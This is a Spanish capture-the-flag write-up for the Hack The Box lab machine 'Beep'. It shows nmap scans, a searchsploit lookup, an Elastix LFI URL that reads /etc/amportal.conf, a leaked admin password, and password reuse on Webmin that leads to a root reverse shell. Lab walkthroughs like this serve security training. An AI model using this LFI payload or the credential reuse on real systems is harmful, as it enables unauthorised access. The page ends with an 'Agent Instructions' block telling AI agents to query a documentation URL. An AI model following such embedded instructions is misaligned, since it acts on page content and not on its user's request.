# Beep
### 馃攳 RECONOCIMIENTO
En primer lugar, tras conectarnos a la m谩quina, utilizamos el comando:
```bash
ping -c 1 10.10.10.7
```
para verificar la conectividad de red.
A continuaci贸n, realizamos el comando:
```bash
nmap -sC -sV 10.10.10.7
```
para realizar un escaneo de puertos y servicios detallado en la direcci贸n IP.
Durante el escaneo se identificaron los siguientes puertos abiertos:
* **22 (SSH - OpenSSH 4.3)**: Versi贸n antigua, posible explotaci贸n y fuerza bruta.
* **25 (SMTP - Postfix)**: Puede filtrar usuarios o permitir env铆o sin autenticaci贸n (open relay).
* **80/443 (HTTP/HTTPS - Apache 2.2.3)**: Versi贸n vulnerable, revisar exploits y probar SQLi, XSS, LFI.
* **110/995 (POP3/POP3s - Cyrus)**: Posible captura de credenciales en texto claro, probar autenticaci贸n.
* **111 (RPCBind)**: Puede permitir enumeraci贸n y ejecuci贸n remota de c贸digo.
* **143/993 (IMAP/IMAPs - Cyrus)**: Posible ataque de autenticaci贸n o exploits espec铆ficos.
* **3306 (MySQL - Acceso no autorizado)**: Intentar acceso con credenciales por defecto.
* **4445 (Servicio desconocido)**: Revisar banners y comportamiento con `nc`.
* **10000 (Webmin - MiniServ 1.570)**: **Vulnerable a RCE**, buscar exploits.
A continuaci贸n, se proceder谩 a analizar cada uno de estos servicios en busca de posibles vectores de ataque.
### 馃攷 EXPLORACI脫N
Se utiliza el comando:
```bash
sudo nmap -sCV -p22,25,80,443,110,995,143,993,3306,4445,10000 -v 10.10.10.7
```
para que nos proporcione m谩s informaci贸n sobre esos puertos espec铆ficamente.
Miramos el puerto 80.
### 馃殌 **EXPLOTACI脫N**
Probamos credenciales por defecto pero no hay resultado. Vamos a ver si **Elastix** tiene alguna vulnerabilidad para explotar.
```bash
searchsploit elastix
```
Vemos que tenemos una vulnerabilidad **LFI** por lo que la explotamos. Descargamos el archivo.
```bash
searchsploit -m php/webapps/37637.pl
```
Vemos el contenido.
Observamos el exploit LFI que tiene por lo que es lo que hacemos a continuaci贸n.
```bash
https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action
```
Al parecer aparecen unas credenciales.
```
admin:jEhdIekWmdjE
```
Nos intentamos loguear con esas credenciales en el servicio **Webmin**.
> Nota: las credenciales son root como usuario y misma contrase帽a.
Podemos ejecutar una tarea como root y eso hacemos para una Reverse Shell.
### 馃攼 **PRIVILEGIOS**
Al estar dentro y ejecutar:
```bash
whoami
```
Ya somos **root**.
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://beafn28.gitbook.io/beafn28/writeups/hackthebox/beep.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.